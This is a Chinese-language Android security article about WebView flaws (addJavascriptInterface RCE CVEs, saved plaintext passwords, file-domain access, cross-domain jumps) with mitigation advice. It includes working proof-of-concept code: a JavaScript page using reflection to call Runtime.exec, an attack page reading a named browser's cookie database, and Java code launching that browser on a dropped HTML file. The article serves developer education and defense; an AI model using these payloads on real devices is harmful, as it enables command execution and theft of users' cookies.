Android安全開發(fā)之WebView中的地雷

0X01 About WebView

在Android開發(fā)中,經(jīng)常會(huì)使用WebView來(lái)實(shí)現(xiàn)WEB頁(yè)面的展示,在Activiry中啟動(dòng)自己的瀏覽器,或者簡(jiǎn)單的展示一些在線內(nèi)容等。WebView功能強(qiáng)大,應(yīng)用廣泛,但它是天使與惡魔的合體,一方面它增強(qiáng)了APP的上網(wǎng)體驗(yàn),讓APP功能更多樣化,另一方面它也引入了很多的安全問(wèn)題。在過(guò)去幾年WebView中被披露的重大漏洞包括了任意代碼執(zhí)行漏洞、跨域、密碼明文保存等,這些安全問(wèn)題可以直接導(dǎo)致用戶敏感信息泄露,移動(dòng)終端被惡意攻擊者控制。下文將詳細(xì)介紹這一系列安全問(wèn)題,羅列相關(guān)的一些案列,并提供相應(yīng)安全開發(fā)建議。

0X02 WebView任意代碼執(zhí)行漏洞

已知的WebView任意代碼執(zhí)行漏洞有4個(gè)。較早被公布是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口會(huì)引起遠(yuǎn)程代碼執(zhí)行漏洞。接著是CVE-2013-4710,針對(duì)某些特定機(jī)型會(huì)存在addJavascriptInterface

API引起的遠(yuǎn)程代碼執(zhí)行漏洞。之后是CVE-2014-1939爆出WebView中內(nèi)置導(dǎo)出的“searchBoxJavaBridge_”Java Object可能被利用,實(shí)現(xiàn)遠(yuǎn)程任意代碼。再后來(lái)是CVE-2014-7224,類似于CVE-2014-1939,WebView內(nèi)置導(dǎo)出“accessibility”和“accessibilityTraversal”兩個(gè)Java Object接口,可被利用實(shí)現(xiàn)遠(yuǎn)程任意代碼執(zhí)行。

后文我們將圍繞下面這段常見(jiàn)的示例代碼展開:

WebView mWebView =(WebView)findViewById(R.id.webView);

①WebSettingsmsetting = mWebView.getSettings();

②msetting.setJavaScriptEnabled(true);

③mWebView.addJavascriptInterface(new TestAddJsInterface(),"myjs");

④mWebView.loadUrl(getIntent().getStringExtra("url"));

CVE-2012-6636

Android系統(tǒng)為了方便APP中Java代碼和網(wǎng)頁(yè)中的Javascript腳本交互,在WebView控件中實(shí)現(xiàn)了addJavascriptInterface接口,對(duì)應(yīng)示例代碼中的③,網(wǎng)頁(yè)中的JS腳本可以利用接口“myjs”調(diào)用App中的Java代碼,而Java對(duì)象繼承關(guān)系會(huì)導(dǎo)致很多Public的函數(shù)及getClass函數(shù)都可以在JS中被訪問(wèn),結(jié)合Java的反射機(jī)制,攻擊者還可以獲得系統(tǒng)類的函數(shù),進(jìn)而可以進(jìn)行任意代碼執(zhí)行。漏洞在2013年8月被披露后,很多APP都中招,其中瀏覽器APP成為重災(zāi)區(qū)。但截至目前任有很多APP中依然存在此漏洞,與以往不同的只是攻擊入口發(fā)生了一定的變化。另外我們也發(fā)現(xiàn)一些小廠商的APP開發(fā)團(tuán)隊(duì)因?yàn)槿狈Π踩庾R(shí),依然還在APP中隨心所欲的使用addjs接口,明目張膽踩雷。

出于安全考慮,Google在API 17中規(guī)定允許被調(diào)用的函數(shù)必須以@JavascriptInterface進(jìn)行注解,理論上如果APP依賴的API為17或者以上,就不會(huì)受該問(wèn)題的影響。但部分機(jī)型上,API 17依然受影響,并且如果APP存在此漏洞,且targetsdk小于17,那漏洞的影響可以覆蓋到android4.4的終端,如果大于等于17,只能在android4.2的機(jī)型上觸發(fā),所以前一種情況的危害目前來(lái)看依舊很大。

CVE-2014-1939

在2014年發(fā)現(xiàn)在Android4.4以下的系統(tǒng)中,webkit中默認(rèn)內(nèi)置了“searchBoxJavaBridge_”, 代碼位于“java/android/webkit/BrowserFrame.java”,該接口同樣存在遠(yuǎn)程代碼執(zhí)行的威脅。

CVE-2014-7224

在2014年,研究人員Daoyuan Wu和Rocky Chang發(fā)現(xiàn),當(dāng)系統(tǒng)輔助功能服務(wù)被開啟時(shí),在Android4.4以下的系統(tǒng)中,由系統(tǒng)提供的WebView組件都默認(rèn)導(dǎo)出"accessibility"和"accessibilityTraversal"這兩個(gè)接口,代碼位于“android/webkit/AccessibilityInjector.java”,這兩個(gè)接口同樣存在遠(yuǎn)程任意代碼執(zhí)行的威脅。

常見(jiàn)掛馬頁(yè)面

function addJsHack(cmdArgs){

for (var obj in window)

{?try {

if ("getClass" inwindow[obj]) {

try{

window[obj].getClass().forName("java.lang.Runtime").

getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);;

}catch(e){

}

}

} catch(e) {

}

}

}

addJsHack()

掃碼攻擊

圖片來(lái)自于某漏洞收集平臺(tái),通過(guò)二維碼掃描觸發(fā)WebView任意代碼執(zhí)行漏洞:

以聚美優(yōu)品為例Ver 3.305,APK MD5:DD8B00EDA393526F66D25CA16E8C7B5C,相關(guān)代碼位于com.jm.android.jumei.controls.JuMeiCustomWebView.java中:

publicvoid initWebView(Activity activity, String str, LinearLayout linearLayout,IWebViewNotify iWebViewNotify) {

......

this.wapView.addJavascriptInterface(newWebAppJSInterface(), WEBVIEW_JS_INTERFACE_NAME);

}

0X03 WebView密碼明文存儲(chǔ)漏洞

WebView默認(rèn)開啟密碼保存功能mWebView.setSavePassword(true),如果該功能未關(guān)閉,在用戶輸入密碼時(shí),會(huì)彈出提示框,詢問(wèn)用戶是否保存密碼,如果選擇"是",密碼會(huì)被明文保到/data/data/com.package.name/databases/webview.db

0X04 WebView域控制不嚴(yán)格漏洞

setAllowFileAccess

Android中默認(rèn)mWebView.setAllowFileAccess(true),在File域下,能夠執(zhí)行任意的JavaScript代碼,同源策略跨域訪問(wèn)能夠?qū)λ接心夸浳募M(jìn)行訪問(wèn)等。APP對(duì)嵌入的WebView未對(duì)file:///形式的URL做限制,會(huì)導(dǎo)致隱私信息泄露,針對(duì)IM類軟件會(huì)導(dǎo)致聊天信息、聯(lián)系人等等重要信息泄露,針對(duì)瀏覽器類軟件,則更多的是cookie信息泄露。

setAllowFileAccessFromFileURLs

在JELLY_BEAN以前的版本默認(rèn)是setAllowFileAccessFromFileURLs(true),允許通過(guò)file域url中的Javascript讀取其他本地文件,在JELLY_BEAN及以后的版本中默認(rèn)已被是禁止。

setAllowUniversalAccessFromFileURLs

在JELLY_BEAN以前的版本默認(rèn)是setAllowUniversalAccessFromFileURLs(true),允許通過(guò)file域url中的Javascript訪問(wèn)其他的源,包括其他的本地文件和http,https源的數(shù)據(jù)。在JELLY_BEAN及以后的版本中默認(rèn)已被禁止。

360手機(jī)瀏覽器缺陷可導(dǎo)致用戶敏感數(shù)據(jù)泄漏

以360手機(jī)瀏覽器4.8版本為例,由于未對(duì)file域做安全限制,惡意APP調(diào)用360瀏覽器加載本地的攻擊頁(yè)面(比如惡意APP釋放到SDCARD上的一個(gè)HTML)后,就可以獲取360手機(jī)瀏覽器下的所有私有數(shù)據(jù),包括webviewCookiesChromium.db下的cookie內(nèi)容,攻擊頁(yè)面關(guān)鍵代碼:

functiongetDatabase() {

var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

}

}

xmlhttp = request;

var prefix = "file:////data/data/com.qihoo.browser/databases";

var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db

var path = prefix.concat(postfix);

//獲取本地文件代碼

xmlhttp.open("GET", path, false);

xmlhttp.send(null);

var ret = xmlhttp.responseText;

return ret;

}

漏洞利用代碼:

copyFile();

//自定義函數(shù),釋放filehehe.html到sd卡上

String url= "file:///mnt/sdcard/filehehe.html";

IntentcontIntent = new Intent();

contIntent.setAction("android.intent.action.VIEW");

contIntent.setData(Uri.parse(url));

Intentintent = new Intent();

intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");

intent.setAction("android.intent.action.VIEW");

intent.setData(Uri.parse(url));

this.startActivity(intent);

0X05 WebView file跨域漏洞

Android 2.3 webkit或者瀏覽器APP自建內(nèi)核中會(huì)存在此類跨域漏洞。在處理轉(zhuǎn)跳時(shí)存在漏洞,導(dǎo)致允許從http域跨向file域,實(shí)現(xiàn)跨域漏洞。以某瀏覽器4.5.0.511版本為例,寫一個(gè)html,命名為filereach.html,存放在服務(wù)器上。該瀏覽器4.5.0.511的X5內(nèi)核存在http域跨file域的漏洞。POC代碼如下所示:

function init(){

f.location = "file:///default.prop";

}

setTimeout(init,5000)

在瀏覽器中打開服務(wù)器上的filereach.html,將從http域跳轉(zhuǎn)到file域

0X06安全開發(fā)建議

1)使用騰訊御安全類漏洞掃描工具進(jìn)行基礎(chǔ)開發(fā)漏洞檢測(cè)定位;

2)建議開發(fā)者通過(guò)以下方式移除該JavaScript接口:

removeJavascriptInterface("searchBoxJavaBridge_")

removeJavascriptInterface("accessibility");

removeJavascriptInterface("accessibilityTraversal")

3)出于安全考慮,為了防止Java層的函數(shù)被隨便調(diào)用,Google在4.2版本之后,規(guī)定允許被調(diào)用的函數(shù)必須以@JavascriptInterface進(jìn)行注解

4)通過(guò)WebSettings.setSavePassword(false)關(guān)閉密碼保存提醒功能

5)通過(guò)以下設(shè)置,防止越權(quán)訪問(wèn),跨域等安全問(wèn)題:

setAllowFileAccess(false)

setAllowFileAccessFromFileURLs(false)

setAllowUniversalAccessFromFileURLs(false)

0X07參考信息

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4710

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7224

http://drops.wooyun.org/webview.html

來(lái)源:御安全技術(shù)博客 http://blog.yaq.qq.com/detail/10

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 這篇博客主要來(lái)介紹 WebView 的相關(guān)使用方法,常見(jiàn)的幾個(gè)漏洞,開發(fā)中可能遇到的坑和最后解決相應(yīng)漏洞的源碼,以...
    Shawn_Dut閱讀 7,547評(píng)論 3 55
  • Android 自定義View的各種姿勢(shì)1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 178,922評(píng)論 25 709
  • ¥開啟¥ 【iAPP實(shí)現(xiàn)進(jìn)入界面執(zhí)行逐一顯】 〖2017-08-25 15:22:14〗 《//首先開一個(gè)線程,因...
    小菜c閱讀 7,317評(píng)論 0 17
  • 前言 總結(jié) Android WebView 常用的相關(guān)知識(shí)點(diǎn),令包含以下干貨內(nèi)容分析:Js注入漏洞、WebView...
    無(wú)名小子的雜貨鋪閱讀 70,118評(píng)論 17 169
  • 在教務(wù)系統(tǒng)查完期末成績(jī)后,我知道,我的大一生涯徹徹底底的結(jié)束了。我問(wèn)自己,這一年里,我做了什么?和未上大學(xué)前對(duì)比,...
    葉霜序閱讀 551評(píng)論 0 0

友情鏈接更多精彩內(nèi)容